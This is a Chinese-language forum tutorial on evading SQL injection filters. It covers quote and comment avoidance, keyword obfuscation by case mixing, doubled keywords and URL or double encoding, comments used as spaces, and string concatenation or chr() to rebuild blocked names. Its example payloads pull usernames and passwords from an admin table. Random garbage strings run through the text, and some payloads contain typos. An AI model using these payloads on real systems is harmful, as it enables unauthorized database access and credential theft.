SQL注入。有攻有防。知道进攻。才懂得防守.
/ ]$ C+ d0 ^; r
2 C2 I/ W: R- G5 m& ]+ f有的时候,很容易受到SQL注入攻击的程序,可能会进行输入过滤,用来防止攻击者无限制的利用其中存在的设计缺陷。& E4 K1 V" g4 \. ~
# ^. J9 l* |6 L- I# t' v# i) H唱出会删除或者净化一些字符,或者阻止常用的sql关键词。
0 n" |% a7 o: n" a( Z/ N
' N7 D' r6 U3 X; J- _7 i5 n我们通常有以下几种技巧,去避开这些过滤。
2 {, I7 T/ Q' f! E6 T' g
8 G7 H9 ?5 h' s* W# e; A1,避免使用被阻止的字符,即不使用这些字符仍然达到攻击目的。! U9 g2 _3 M& U! l, X) G
# k1 b- Z( s3 S4 | a, j9 F
A,如果注入一个数字数据字段,就不需要使用单引号。8 C0 K2 K! k0 x7 f
8 T. O; S, F0 K2 a" ]3 _
B,输入注释符号被阻止使用,我们可以设计注入的数据,既不破坏周围的查询语法。
! ?* Y& M8 y) N6 b: D# g
# D8 A+ t; c: g: f比如, ?id=1′ 这里存在注入,过滤了注释符合,我们可以输入 ?id=1′ or ‘a’=’a- S$ g I2 M% L- y
& W& u. ~& G5 j# Y. h目的其实很简单,就是把后面的单引号给闭合掉。7 q6 m3 e- B) V/ e. H1 V
$ z, B! N. B1 L( hC,在一个MSSQL注入中注入批量查询的时候,不必使用分号分隔符。
: z3 n+ L2 L7 X0 ?+ e( Z! T' A+ I/ S2 n3 x
只要纠正所有批量查询的语法,无论你是否使用分号,查询的解析器依然能正确的去解释它们的。& E+ o9 F% D9 A( c% d0 c
* g# w2 T9 ]9 |" a& ~! ~2,避免使用简单确认9 }: c7 ]4 ^$ N4 V
! U( ~4 i# J2 Q. K& X一些输入确认机制使用一个简单的黑名单,组织或删除任何出现在这个名单中的数据,比如防注入程序。( O7 b+ a1 C9 }6 t% d4 |
t" K% s4 f! `2 p/ _* R, h这一般要看这个机制是否做的足够的好了,黑名单是否足够能确保安全。如果只是简单的黑名单,那也有机会突破的。
8 w7 A; [4 n- s/ |8 L6 Q1 ?! i' t
K- z* ]; p ^$ R( s9 QA,如果select关键词被阻止或删除6 y# C+ V9 W' ?( ^- f
2 h/ d2 {& F) I) s" ~7 X8 i5 V
我们可以输入:" @5 ], F) j; B( U6 G$ g
( E% ^# C- }$ lSeLeCt 注意大小写3 u) Y0 q3 g6 A. f2 }
) G9 Y- ^; I! Y ~
selselectect 还记得ewebeditor是怎么过滤asp的么?
& p3 w" D' q4 s3 f6 _7 H" r& Y# u/ b3 l5 b& X9 e4 B* h2 J' q
%53%45%4c%45%43%54 URL编码; @% Z( a! s2 k' y
7 E( \, f& j; V; M5 U1 ^5 u
%2553%2545%254c%2545%2543%2554 对上面的每个%后加了一个25: \0 T2 I9 G0 L- P" s3 Z4 ]) | E
. i- w9 {& r! E. g% {3,使用SQL注释符% Y5 }7 u R" q) j; Q
6 z' a% W, b t: I$ n7 A5 }A,使用注释来冒充注入的数据中的空格。
3 {3 M2 Z* ]& s* i! v2 I7 M& z) b# Z7 W1 V, g3 Z% [/ y( ~0 a
select/*yesu*/username,password/*yesu*/from/*yesu*/admin) }# O. ?9 V' t% w; h+ K- ?
$ q7 q0 G6 o2 l/ A) ^, z
/*yesu*/来冒充空格+ X0 X: n5 ?' W
( L$ g5 C8 x1 V' I* B" o
B,使用注释来避开某些注入的确认过滤。
" r, G: m! B9 L" G$ M1 T# J8 a
9 r5 X# h( D+ d* M7 M$ S% A% TSEL/*yesu*/ECT username,password fr/*yesu*/om admin
* P; M- s8 z) `. J- _& V; k
( h% e4 Z/ l$ e- R2 Z4,处理被阻止的字符串
5 ~1 O. k9 `# e+ h( o; Q
C/ D7 {; J0 H% a0 Z比如,程序阻止了admin,因为怕攻击者注入admin表单中的数据。
* `/ _ n/ p4 l Z+ U! M- u. k6 A- I* O* F+ V
我们可以这样
4 C9 E+ t" J3 Z3 L5 S7 [; ~" I# o# K1 G% C8 B3 G4 u1 v2 }: T
A,oracle数据库: ‘adm’||’in’* h7 C: s" j7 b! B" [7 v
1 H! Y8 M# K( D
B,MSSQL数据库: ‘adm’+’in’
! D$ O% N9 n4 ^& {* E3 j9 a
5 l2 h- V8 P4 ?6 l1 `" C, \' |, dC,MYSQL数据库: concat (‘adm’,’in’)
4 @9 M" t' ~. H9 t+ ?
+ u- B& W3 W; m8 M1 k7 RD,oracle中如果单引号被阻止了,还可以用chr函数
1 F6 u) |2 |7 f
6 T/ H' ~/ b) y+ [9 ?" _4 Esleect password from admin where username = char(97) || chr(100) || chr(109) || chr(105) || chr(110)4 r4 L- h' j) F( o: c
f, n- F; P9 Y( F$ \5 b
还有其他方法。正在收集中.
# q, K# l: h3 b [# p8 m5 O& ~
5 B/ v9 i3 H! Q& k5 D+ a |